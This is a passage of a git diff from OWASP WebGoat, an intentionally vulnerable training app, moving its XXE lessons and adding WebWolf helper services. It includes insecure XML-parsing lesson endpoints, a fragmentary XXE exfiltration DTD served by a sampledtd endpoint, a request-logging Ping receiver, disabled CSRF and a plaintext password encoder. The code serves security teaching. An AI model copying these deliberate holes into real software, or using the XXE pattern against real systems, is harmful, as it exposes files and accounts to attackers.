org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestHeader; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"xxe.hints.content.type.xxe.1", "xxe.hints.content.type.xxe.2"}) +public class ContentTypeAssignment extends AssignmentEndpoint { + + private static final String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"}; + private static final String[] DEFAULT_WINDOWS_DIRECTORIES = { + "Windows", "Program Files (x86)", "Program Files", "pagefile.sys" + }; + + @Value("${webgoat.server.directory}") + private String webGoatHomeDirectory; + + @Autowired private WebSession webSession; + @Autowired private CommentsCache comments; + + @PostMapping(path = "xxe/content-type") + @ResponseBody + public AttackResult createNewUser( + HttpServletRequest request, + @RequestBody String commentStr, + @RequestHeader("Content-Type") String contentType) + throws Exception { + AttackResult attackResult = failed(this).build(); + + if (APPLICATION_JSON_VALUE.equals(contentType)) { + comments.parseJson(commentStr).ifPresent(c -> comments.addComment(c, true)); + attackResult = failed(this).feedback("xxe.content.type.feedback.json").build(); + } + + if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) { + String error = ""; + try { + Comment comment = comments.parseXml(commentStr); + comments.addComment(comment, false); + if (checkSolution(comment)) { + attackResult = success(this).build(); + } + } catch (Exception e) { + error = ExceptionUtils.getStackTrace(e); + attackResult = failed(this).feedback("xxe.content.type.feedback.xml").output(error).build(); + } + } + + return attackResult; + } + + private boolean checkSolution(Comment comment) { + String[] directoriesToCheck = + OS.isFamilyMac() || OS.isFamilyUnix() + ? DEFAULT_LINUX_DIRECTORIES + : DEFAULT_WINDOWS_DIRECTORIES; + boolean success = false; + for (String directory : directoriesToCheck) { + success |= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory); + } + return success; + } +} diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Ping.java b/src/main/java/org/owasp/webgoat/lessons/xxe/Ping.java similarity index 65% rename from webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Ping.java rename to src/main/java/org/owasp/webgoat/lessons/xxe/Ping.java index 0f9ddfa53..f71dbd7dd 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Ping.java +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/Ping.java @@ -20,10 +20,13 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.xxe; +package org.owasp.webgoat.lessons.xxe; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.PrintWriter; import lombok.extern.slf4j.Slf4j; -import org.owasp.webgoat.session.WebSession; +import org.owasp.webgoat.container.session.WebSession; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.RequestHeader; @@ -32,31 +35,28 @@ import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; -import java.io.File; -import java.io.FileNotFoundException; -import java.io.PrintWriter; - @Slf4j public class Ping { - @Value("${webgoat.user.directory}") - private String webGoatHomeDirectory; - @Autowired - private WebSession webSession; + @Value("${webgoat.user.directory}") + private String webGoatHomeDirectory; - @RequestMapping(method = RequestMethod.GET) - @ResponseBody - public String logRequest(@RequestHeader("User-Agent") String userAgent, @RequestParam(required = false) String text) { - String logLine = String.format("%s %s %s", "GET", userAgent, text); - log.debug(logLine); - File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt"); - try { - try (PrintWriter pw = new PrintWriter(logFile)) { - pw.println(logLine); - } - } catch (FileNotFoundException e) { - log.error("Error occurred while writing the logfile", e); - } - return ""; + @Autowired private WebSession webSession; + + @RequestMapping(method = RequestMethod.GET) + @ResponseBody + public String logRequest( + @RequestHeader("User-Agent") String userAgent, @RequestParam(required = false) String text) { + String logLine = String.format("%s %s %s", "GET", userAgent, text); + log.debug(logLine); + File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt"); + try { + try (PrintWriter pw = new PrintWriter(logFile)) { + pw.println(logLine); + } + } catch (FileNotFoundException e) { + log.error("Error occurred while writing the logfile", e); } + return ""; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/SimpleXXE.java b/src/main/java/org/owasp/webgoat/lessons/xxe/SimpleXXE.java new file mode 100644 index 000000000..d51712cd4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/SimpleXXE.java @@ -0,0 +1,112 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xxe; + +import static org.springframework.http.MediaType.ALL_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import javax.servlet.http.HttpServletRequest; +import org.apache.commons.exec.OS; +import org.apache.commons.lang3.exception.ExceptionUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/8/17. + */ +@RestController +@AssignmentHints({ + "xxe.hints.simple.xxe.1", + "xxe.hints.simple.xxe.2", + "xxe.hints.simple.xxe.3", + "xxe.hints.simple.xxe.4", + "xxe.hints.simple.xxe.5", + "xxe.hints.simple.xxe.6" +}) +public class SimpleXXE extends AssignmentEndpoint { + + private static final String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"}; + private static final String[] DEFAULT_WINDOWS_DIRECTORIES = { + "Windows", "Program Files (x86)", "Program Files", "pagefile.sys" + }; + + @Value("${webgoat.server.directory}") + private String webGoatHomeDirectory; + + @Value("${webwolf.landingpage.url}") + private String webWolfURL; + + @Autowired private CommentsCache comments; + + @PostMapping(path = "xxe/simple", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult createNewComment(HttpServletRequest request, @RequestBody String commentStr) { + String error = ""; + try { + var comment = comments.parseXml(commentStr); + comments.addComment(comment, false); + if (checkSolution(comment)) { + return success(this).build(); + } + } catch (Exception e) { + error = ExceptionUtils.getStackTrace(e); + } + return failed(this).output(error).build(); + } + + private boolean checkSolution(Comment comment) { + String[] directoriesToCheck = + OS.isFamilyMac() || OS.isFamilyUnix() + ? DEFAULT_LINUX_DIRECTORIES + : DEFAULT_WINDOWS_DIRECTORIES; + boolean success = false; + for (String directory : directoriesToCheck) { + success |= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory); + } + return success; + } + + @RequestMapping( + path = "/xxe/sampledtd", + consumes = ALL_VALUE, + produces = MediaType.TEXT_PLAIN_VALUE) + @ResponseBody + public String getSampleDTDFile() { + return """ + + + "> + %all; + """; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/User.java b/src/main/java/org/owasp/webgoat/lessons/xxe/User.java new file mode 100644 index 000000000..bca81e474 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/User.java @@ -0,0 +1,48 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xxe; + +import javax.xml.bind.annotation.XmlRootElement; + +@XmlRootElement +public class User { + + private String username = ""; + private String password = ""; + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } + + public String getUsername() { + return username; + } + + public void setUsername(String username) { + this.username = username; + } +} diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/XXE.java b/src/main/java/org/owasp/webgoat/lessons/xxe/XXE.java similarity index 79% rename from webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/XXE.java rename to src/main/java/org/owasp/webgoat/lessons/xxe/XXE.java index d1cfe17af..0a69d4c15 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/XXE.java +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/XXE.java @@ -20,22 +20,22 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.xxe; +package org.owasp.webgoat.lessons.xxe; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class XXE extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.XXE; - } + @Override + public Category getDefaultCategory() { + return Category.A5; + } - @Override - public String getTitle() { - return "xxe.title"; - } + @Override + public String getTitle() { + return "xxe.title"; + } } diff --git a/src/main/java/org/owasp/webgoat/server/ParentConfig.java b/src/main/java/org/owasp/webgoat/server/ParentConfig.java new file mode 100644 index 000000000..b4a62db4d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/server/ParentConfig.java @@ -0,0 +1,8 @@ +package org.owasp.webgoat.server; + +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.Configuration; + +@Configuration +@ComponentScan("org.owasp.webgoat.server") +public class ParentConfig {} diff --git a/webgoat-lessons/http-proxies/src/main/java/org/owasp/webgoat/http_proxies/HttpProxies.java b/src/main/java/org/owasp/webgoat/server/StartWebGoat.java similarity index 57% rename from webgoat-lessons/http-proxies/src/main/java/org/owasp/webgoat/http_proxies/HttpProxies.java rename to src/main/java/org/owasp/webgoat/server/StartWebGoat.java index a8926bf30..845a057ac 100644 --- a/webgoat-lessons/http-proxies/src/main/java/org/owasp/webgoat/http_proxies/HttpProxies.java +++ b/src/main/java/org/owasp/webgoat/server/StartWebGoat.java @@ -1,15 +1,8 @@ -package org.owasp.webgoat.http_proxies; - -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; -import org.springframework.stereotype.Component; - -/** - * ************************************************************************************************ +/* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ *

- * Copyright (c) 2002 - 2014 Bruce Mayhew + * Copyright (c) 2002 - 2017 Bruce Mayhew *

* This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the @@ -28,20 +21,30 @@ import org.springframework.stereotype.Component; * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software * projects. *

- * - * @author WebGoat - * @version $Id: $Id - * @since October 12, 2016 */ -@Component -public class HttpProxies extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.GENERAL; - } - @Override - public String getTitle() { - return "2.http-proxies.title";//second lesson in GENERAL - } +package org.owasp.webgoat.server; + +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.WebGoat; +import org.owasp.webgoat.webwolf.WebWolf; +import org.springframework.boot.Banner; +import org.springframework.boot.WebApplicationType; +import org.springframework.boot.builder.SpringApplicationBuilder; + +@Slf4j +public class StartWebGoat { + + public static void main(String[] args) { + new SpringApplicationBuilder() + .parent(ParentConfig.class) + .web(WebApplicationType.NONE) + .bannerMode(Banner.Mode.OFF) + .child(WebGoat.class) + .web(WebApplicationType.SERVLET) + .sibling(WebWolf.class) + .bannerMode(Banner.Mode.OFF) + .web(WebApplicationType.SERVLET) + .run(args); + } } diff --git a/src/main/java/org/owasp/webgoat/server/StartupMessage.java b/src/main/java/org/owasp/webgoat/server/StartupMessage.java new file mode 100644 index 000000000..409ffb377 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/server/StartupMessage.java @@ -0,0 +1,33 @@ +package org.owasp.webgoat.server; + +import lombok.NoArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.boot.context.event.ApplicationReadyEvent; +import org.springframework.context.event.ContextStoppedEvent; +import org.springframework.context.event.EventListener; +import org.springframework.stereotype.Component; +import org.springframework.util.StringUtils; + +@Component +@Slf4j +@NoArgsConstructor +public class StartupMessage { + + private String port; + private String address; + + @EventListener + void onStartup(ApplicationReadyEvent event) { + if (StringUtils.hasText(port) + && !StringUtils.hasText(System.getProperty("running.in.docker"))) { + log.info("Please browse to http://{}:{}/WebGoat to get started...", address, port); + } + if (event.getApplicationContext().getApplicationName().contains("WebGoat")) { + port = event.getApplicationContext().getEnvironment().getProperty("server.port"); + address = event.getApplicationContext().getEnvironment().getProperty("server.address"); + } + } + + @EventListener + void onShutdown(ContextStoppedEvent event) {} +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/FileServer.java b/src/main/java/org/owasp/webgoat/webwolf/FileServer.java new file mode 100644 index 000000000..a23af4ce7 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/FileServer.java @@ -0,0 +1,123 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf; + +import static org.springframework.http.MediaType.ALL_VALUE; + +import java.io.File; +import java.io.IOException; +import java.util.ArrayList; +import javax.servlet.http.HttpServletRequest; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.io.FileUtils; +import org.owasp.webgoat.webwolf.user.WebGoatUser; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.MediaType; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.stereotype.Controller; +import org.springframework.ui.ModelMap; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.multipart.MultipartFile; +import org.springframework.web.servlet.ModelAndView; +import org.springframework.web.servlet.view.RedirectView; + +/** Controller for uploading a file */ +@Controller +@Slf4j +public class FileServer { + + @Value("${webwolf.fileserver.location}") + private String fileLocation; + + @Value("${server.address}") + private String server; + + @Value("${server.port}") + private int port; + + @RequestMapping( + path = "/file-server-location", + consumes = ALL_VALUE, + produces = MediaType.TEXT_PLAIN_VALUE) + @ResponseBody + public String getFileLocation() { + return fileLocation; + } + + @PostMapping(value = "/fileupload") + public ModelAndView importFile(@RequestParam("file") MultipartFile myFile) throws IOException { + var user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); + var destinationDir = new File(fileLocation, user.getUsername()); + destinationDir.mkdirs(); + myFile.transferTo(new File(destinationDir, myFile.getOriginalFilename())); + log.debug("File saved to {}", new File(destinationDir, myFile.getOriginalFilename())); + + return new ModelAndView( + new RedirectView("files", true), + new ModelMap().addAttribute("uploadSuccess", "File uploaded successful")); + } + + @AllArgsConstructor + @Getter + private class UploadedFile { + private final String name; + private final String size; + private final String link; + } + + @GetMapping(value = "/files") + public ModelAndView getFiles(HttpServletRequest request) { + WebGoatUser user = + (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); + String username = user.getUsername(); + File destinationDir = new File(fileLocation, username); + + ModelAndView modelAndView = new ModelAndView(); + modelAndView.setViewName("files"); + File changeIndicatorFile = new File(destinationDir, user.getUsername() + "_changed"); + if (changeIndicatorFile.exists()) { + modelAndView.addObject("uploadSuccess", request.getParameter("uploadSuccess")); + } + changeIndicatorFile.delete(); + + var uploadedFiles = new ArrayList<>(); + File[] files = destinationDir.listFiles(File::isFile); + if (files != null) { + for (File file : files) { + String size = FileUtils.byteCountToDisplaySize(file.length()); + String link = String.format("files/%s/%s", username, file.getName()); + uploadedFiles.add(new UploadedFile(file.getName(), size, link)); + } + } + + modelAndView.addObject("files", uploadedFiles); + modelAndView.addObject("webwolf_url", "http://" + server + ":" + port); + return modelAndView; + } +} diff --git a/webwolf/src/main/java/org/owasp/webwolf/MvcConfiguration.java b/src/main/java/org/owasp/webgoat/webwolf/MvcConfiguration.java similarity index 62% rename from webwolf/src/main/java/org/owasp/webwolf/MvcConfiguration.java rename to src/main/java/org/owasp/webgoat/webwolf/MvcConfiguration.java index 7c491a95f..f5fec0777 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/MvcConfiguration.java +++ b/src/main/java/org/owasp/webgoat/webwolf/MvcConfiguration.java @@ -20,22 +20,16 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webwolf; +package org.owasp.webgoat.webwolf; +import java.io.File; +import javax.annotation.PostConstruct; import org.springframework.beans.factory.annotation.Value; -import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; -import org.springframework.context.annotation.DependsOn; -import org.springframework.context.annotation.Primary; -import org.springframework.jdbc.datasource.DriverManagerDataSource; import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; import org.springframework.web.servlet.config.annotation.ViewControllerRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; -import javax.annotation.PostConstruct; -import javax.sql.DataSource; -import java.io.File; - /** * @author nbaars * @since 8/13/17. @@ -43,25 +37,31 @@ import java.io.File; @Configuration public class MvcConfiguration implements WebMvcConfigurer { - @Value("${webwolf.fileserver.location}") - private String fileLocatation; + @Value("${webwolf.fileserver.location}") + private String fileLocation; - @Override - public void addResourceHandlers(ResourceHandlerRegistry registry) { - registry.addResourceHandler("/files/**").addResourceLocations("file:///" + fileLocatation + "/"); - } + @Override + public void addResourceHandlers(ResourceHandlerRegistry registry) { + registry.addResourceHandler("/files/**").addResourceLocations("file:///" + fileLocation + "/"); - @Override - public void addViewControllers(ViewControllerRegistry registry) { - registry.addViewController("/login").setViewName("login"); - registry.addViewController("/WebWolf/home").setViewName("home"); - } + registry.addResourceHandler("/css/**").addResourceLocations("classpath:/webwolf/static/css/"); + registry.addResourceHandler("/js/**").addResourceLocations("classpath:/webwolf/static/js/"); + registry + .addResourceHandler("/images/**") + .addResourceLocations("classpath:/webwolf/static/images/"); + } - @PostConstruct - public void createDirectory() { - File file = new File(fileLocatation); - if (!file.exists()) { - file.mkdirs(); - } + @Override + public void addViewControllers(ViewControllerRegistry registry) { + registry.addViewController("/login").setViewName("webwolf-login"); + registry.addViewController("/home").setViewName("home"); + } + + @PostConstruct + public void createDirectory() { + File file = new File(fileLocation); + if (!file.exists()) { + file.mkdirs(); } -} \ No newline at end of file + } +} diff --git a/webwolf/src/main/java/org/owasp/webwolf/WebSecurityConfig.java b/src/main/java/org/owasp/webgoat/webwolf/WebSecurityConfig.java similarity index 56% rename from webwolf/src/main/java/org/owasp/webwolf/WebSecurityConfig.java rename to src/main/java/org/owasp/webgoat/webwolf/WebSecurityConfig.java index 334b0af4c..7afa030af 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/WebSecurityConfig.java +++ b/src/main/java/org/owasp/webgoat/webwolf/WebSecurityConfig.java @@ -1,4 +1,3 @@ - /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * @@ -20,13 +19,14 @@ * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webwolf; +package org.owasp.webgoat.webwolf; import lombok.AllArgsConstructor; -import org.owasp.webwolf.user.UserService; +import org.owasp.webgoat.webwolf.user.UserService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; +import org.springframework.http.HttpMethod; import org.springframework.security.authentication.AuthenticationManager; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; import org.springframework.security.config.annotation.web.builders.HttpSecurity; @@ -36,54 +36,50 @@ import org.springframework.security.config.annotation.web.configurers.Expression import org.springframework.security.core.userdetails.UserDetailsService; import org.springframework.security.crypto.password.NoOpPasswordEncoder; -/** - * Security configuration for WebGoat. - */ +/** Security configuration for WebGoat. */ @Configuration @AllArgsConstructor @EnableWebSecurity public class WebSecurityConfig extends WebSecurityConfigurerAdapter { - private final UserService userDetailsService; + private final UserService userDetailsService; - @Override - protected void configure(HttpSecurity http) throws Exception { - ExpressionUrlAuthorizationConfigurer.ExpressionInterceptUrlRegistry security = http - .authorizeRequests() - .antMatchers("/css/**", "/images/**", "/js/**", "/fonts/**", "/webjars/**").permitAll() - .antMatchers("/WebWolf/**").authenticated() - .anyRequest().permitAll(); - security.and().csrf().disable().formLogin() - .loginPage("/login").failureUrl("/login?error=true"); - security.and() - .formLogin() - .loginPage("/login") - .defaultSuccessUrl("/WebWolf/home", true) - .permitAll(); - security.and() - .logout() - .permitAll(); - } + @Override + protected void configure(HttpSecurity http) throws Exception { + ExpressionUrlAuthorizationConfigurer.ExpressionInterceptUrlRegistry security = + http.authorizeRequests() + .antMatchers("/css/**", "/images/**", "/js/**", "/fonts/**", "/webjars/**", "/home") + .permitAll() + .antMatchers(HttpMethod.GET, "/mail/**", "/requests/**") + .authenticated() + .antMatchers("/files") + .authenticated() + .anyRequest() + .permitAll(); + security.and().csrf().disable().formLogin().loginPage("/login").failureUrl("/login?error=true"); + security.and().formLogin().loginPage("/login").defaultSuccessUrl("/home", true).permitAll(); + security.and().logout().permitAll(); + } - @Autowired - public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception { - auth.userDetailsService(userDetailsService); //.passwordEncoder(bCryptPasswordEncoder()); - } + @Autowired + public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception { + auth.userDetailsService(userDetailsService); // .passwordEncoder(bCryptPasswordEncoder()); + } - @Bean - @Override - public UserDetailsService userDetailsServiceBean() throws Exception { - return userDetailsService; - } + @Bean + @Override + public UserDetailsService userDetailsServiceBean() throws Exception { + return userDetailsService; + } - @Override - @Bean - protected AuthenticationManager authenticationManager() throws Exception { - return super.authenticationManager(); - } + @Override + @Bean + protected AuthenticationManager authenticationManager() throws Exception { + return super.authenticationManager(); + } - @Bean - public NoOpPasswordEncoder passwordEncoder() { - return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance(); - } -} \ No newline at end of file + @Bean + public NoOpPasswordEncoder passwordEncoder() { + return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance(); + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/WebWolf.java b/src/main/java/org/owasp/webgoat/webwolf/WebWolf.java new file mode 100644 index 000000000..fa5d488a3 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/WebWolf.java @@ -0,0 +1,43 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf; + +import org.owasp.webgoat.webwolf.requests.WebWolfTraceRepository; +import org.springframework.boot.actuate.trace.http.HttpTraceRepository; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.PropertySource; + +@Configuration +@ComponentScan("org.owasp.webgoat.webwolf") +@PropertySource("classpath:application-webwolf.properties") +@EnableAutoConfiguration +public class WebWolf { + + @Bean + public HttpTraceRepository traceRepository() { + return new WebWolfTraceRepository(); + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTController.java b/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTController.java new file mode 100644 index 000000000..7d7ab61ba --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTController.java @@ -0,0 +1,41 @@ +package org.owasp.webgoat.webwolf.jwt; + +import static org.springframework.http.MediaType.APPLICATION_FORM_URLENCODED_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import org.springframework.util.MultiValueMap; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.servlet.ModelAndView; + +@RestController +public class JWTController { + + @GetMapping("/jwt") + public ModelAndView jwt() { + return new ModelAndView("jwt"); + } + + @PostMapping( + value = "/jwt/decode", + consumes = APPLICATION_FORM_URLENCODED_VALUE, + produces = APPLICATION_JSON_VALUE) + public JWTToken decode(@RequestBody MultiValueMap formData) { + var jwt = formData.getFirst("token"); + var secretKey = formData.getFirst("secretKey"); + return JWTToken.decode(jwt, secretKey); + } + + @PostMapping( + value = "/jwt/encode", + consumes = APPLICATION_FORM_URLENCODED_VALUE, + produces = APPLICATION_JSON_VALUE) + public JWTToken encode(@RequestBody MultiValueMap formData) { + var header = formData.getFirst("header"); + var payload = formData.getFirst("payload"); + var secretKey = formData.getFirst("secretKey"); + return JWTToken.encode(header, payload, secretKey); + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTToken.java b/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTToken.java new file mode 100644 index 000000000..88fcdc1c5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTToken.java @@ -0,0 +1,138 @@ +package org.owasp.webgoat.webwolf.jwt; + +import static java.nio.charset.StandardCharsets.UTF_8; +import static org.springframework.util.Base64Utils.decodeFromUrlSafeString; +import static org.springframework.util.StringUtils.hasText; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import java.util.Map; +import java.util.TreeMap; +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Getter; +import lombok.NoArgsConstructor; +import lombok.Setter; +import org.jose4j.jws.JsonWebSignature; +import org.jose4j.jwt.consumer.InvalidJwtException; +import org.jose4j.jwt.consumer.JwtConsumer; +import org.jose4j.jwt.consumer.JwtConsumerBuilder; +import org.jose4j.jwx.CompactSerializer; +import org.jose4j.keys.HmacKey; +import org.jose4j.lang.JoseException; + +@NoArgsConstructor +@AllArgsConstructor +@Getter +@Setter +@Builder(toBuilder = true) +public class JWTToken { + + private String encoded = ""; + private String secretKey; + private String header; + private boolean validHeader; + private boolean validPayload; + private boolean validToken; + private String payload; + private boolean signatureValid = true; + + public static JWTToken decode(String jwt, String secretKey) { + var token = parseToken(jwt.trim().replace(System.getProperty("line.separator"), "")); + return token.toBuilder().signatureValid(validateSignature(secretKey, jwt)).build(); + } + + private static Map parse(String header) { + var reader = new ObjectMapper(); + try { + return reader.readValue(header, TreeMap.class); + } catch (JsonProcessingException e) { + return Map.of(); + } + } + + private static String write(String originalValue, Map data) { + var writer = new ObjectMapper().writerWithDefaultPrettyPrinter(); + try { + if (data.isEmpty()) { + return originalValue; + } + return writer.writeValueAsString(data); + } catch (JsonProcessingException e) { + return originalValue; + } + } + + public static JWTToken encode(String header, String payloadAsString, String secretKey) { + var headers = parse(header); + var payload = parse(payloadAsString); + + var builder = + JWTToken.builder() + .header(write(header, headers)) + .payload(write(payloadAsString, payload)) + .validHeader(!hasText(header) || 